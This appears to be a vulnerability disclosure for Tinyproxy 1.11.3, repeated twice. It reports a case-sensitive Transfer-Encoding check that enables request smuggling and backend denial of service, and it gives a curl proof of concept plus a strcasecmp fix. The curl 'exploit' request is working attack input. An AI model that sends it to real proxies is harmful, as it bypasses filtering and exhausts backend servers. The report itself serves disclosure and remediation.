Tinyproxy version
Tested on:
Tinyproxy 1.11.3 (latest stable)
Also reproducible on git master (as of current commit)
Issue:
Summary
Tinyproxy is vulnerable to HTTP Request Parsing Desynchronization due to improper, case-sensitive handling of the Transfer-Encoding header in src/reqs.c.
The function is_chunked_transfer() relies on strcmp() to compare the header value with "chunked", while RFC 7230 specifies that transfer codings are case-insensitive.
Technical Details
static int is_chunked_transfer (pseudomap *hashofheaders) {
char *data = pseudomap_find (hashofheaders, "transfer-encoding");
return data ? !strcmp (data, "chunked") : 0;
}
Because of this:
Transfer-Encoding: chunked → handled correctly
Transfer-Encoding: Chunked → NOT recognized
Behavior
When Transfer-Encoding: Chunked is used:
Tinyproxy fails to detect chunked encoding
Sets:
content_length.client = -1
Assumes request has no body
Skips pull_client_data_chunked()
Immediately forwards headers upstream
Switches to relay_connection() (raw TCP proxying)
At this point, any unread body remains in the client socket buffer and is blindly proxied to backend without HTTP parsing.
Impact
- WAF / Filtering Bypass
Request body is never processed by Tinyproxy
Any logic depending on parsed body is bypassed
Raw payload is forwarded via TCP relay
This allows:
Smuggling payloads past inspection layers
Bypassing ICAP/WAF integrations relying on Tinyproxy parsing
2. Backend Denial of Service (DoS)
If attacker sends:
Transfer-Encoding: Chunked
but does not complete the chunk stream:
Tinyproxy forwards headers immediately
Backend (RFC-compliant) expects chunked body
Backend connection hangs waiting for chunks
By repeating this:
Backend worker pool is exhausted
Application-level DoS occurs
Steps to Reproduce
- Start backend (Node.js example)
const http = require('http');
http.createServer((req, res) => {
let body = '';
req.on('data', chunk => body += chunk);
req.on('end', () => {
console.log(Received Body: ${body});
res.writeHead(200);
res.end(Processed by Backend\n);
});
}).listen(9000);
2. Start Tinyproxy
./src/tinyproxy -d -c etc/tinyproxy.conf
3. Valid request (works)
curl -i -x http://127.0.0.1:8888
-H "Transfer-Encoding: chunked"
-H "Content-Length:"
--data-binary $'5\r\nadmin\r\n0\r\n\r\n'
http://127.0.0.1:9000/
Result:
HTTP/1.1 200 OK
4. Exploit (hang / desync)
curl -i -x http://127.0.0.1:8888
-H "Transfer-Encoding: Chunked"
-H "Content-Length:"
--data-binary $'5\r\nadmin\r\n0\r\n\r\n'
http://127.0.0.1:9000/
Result:
Request hangs indefinitely
Backend waits for chunk stream
Tinyproxy already switched to relay mode
Root Cause
Case-sensitive comparison (strcmp)
RFC 7230 violation (transfer codings must be case-insensitive)
Incorrect request state handling
Suggested Fix
Replace:
strcmp(data, "chunked")
with:
strcasecmp(data, "chunked")
or normalize header value before comparison.
Notes
Issue is reproducible consistently
Does not rely on special configuration
Requires no authentication
Works against any RFC-compliant backend (Node.js, Nginx, etc.)
Tinyproxy version
Tested on:
Tinyproxy 1.11.3 (latest stable)
Also reproducible on git master (as of current commit)
Issue:
Summary
Tinyproxy is vulnerable to HTTP Request Parsing Desynchronization due to improper, case-sensitive handling of the Transfer-Encoding header in src/reqs.c.
The function is_chunked_transfer() relies on strcmp() to compare the header value with "chunked", while RFC 7230 specifies that transfer codings are case-insensitive.
Technical Details
static int is_chunked_transfer (pseudomap *hashofheaders) {
char *data = pseudomap_find (hashofheaders, "transfer-encoding");
return data ? !strcmp (data, "chunked") : 0;
}
Because of this:
Transfer-Encoding: chunked → handled correctly
Transfer-Encoding: Chunked → NOT recognized
Behavior
When Transfer-Encoding: Chunked is used:
Tinyproxy fails to detect chunked encoding
Sets:
content_length.client = -1
Assumes request has no body
Skips pull_client_data_chunked()
Immediately forwards headers upstream
Switches to relay_connection() (raw TCP proxying)
At this point, any unread body remains in the client socket buffer and is blindly proxied to backend without HTTP parsing.
Impact
Request body is never processed by Tinyproxy
Any logic depending on parsed body is bypassed
Raw payload is forwarded via TCP relay
This allows:
Smuggling payloads past inspection layers
Bypassing ICAP/WAF integrations relying on Tinyproxy parsing
2. Backend Denial of Service (DoS)
If attacker sends:
Transfer-Encoding: Chunked
but does not complete the chunk stream:
Tinyproxy forwards headers immediately
Backend (RFC-compliant) expects chunked body
Backend connection hangs waiting for chunks
By repeating this:
Backend worker pool is exhausted
Application-level DoS occurs
Steps to Reproduce
const http = require('http');
http.createServer((req, res) => {
let body = '';
req.on('data', chunk => body += chunk);
req.on('end', () => {
console.log(
Received Body: ${body});res.writeHead(200);
res.end(
Processed by Backend\n);});
}).listen(9000);
2. Start Tinyproxy
./src/tinyproxy -d -c etc/tinyproxy.conf
3. Valid request (works)
curl -i -x http://127.0.0.1:8888
-H "Transfer-Encoding: chunked"
-H "Content-Length:"
--data-binary $'5\r\nadmin\r\n0\r\n\r\n'
http://127.0.0.1:9000/
Result:
HTTP/1.1 200 OK
4. Exploit (hang / desync)
curl -i -x http://127.0.0.1:8888
-H "Transfer-Encoding: Chunked"
-H "Content-Length:"
--data-binary $'5\r\nadmin\r\n0\r\n\r\n'
http://127.0.0.1:9000/
Result:
Request hangs indefinitely
Backend waits for chunk stream
Tinyproxy already switched to relay mode
Root Cause
Case-sensitive comparison (strcmp)
RFC 7230 violation (transfer codings must be case-insensitive)
Incorrect request state handling
Suggested Fix
Replace:
strcmp(data, "chunked")
with:
strcasecmp(data, "chunked")
or normalize header value before comparison.
Notes
Issue is reproducible consistently
Does not rely on special configuration
Requires no authentication
Works against any RFC-compliant backend (Node.js, Nginx, etc.)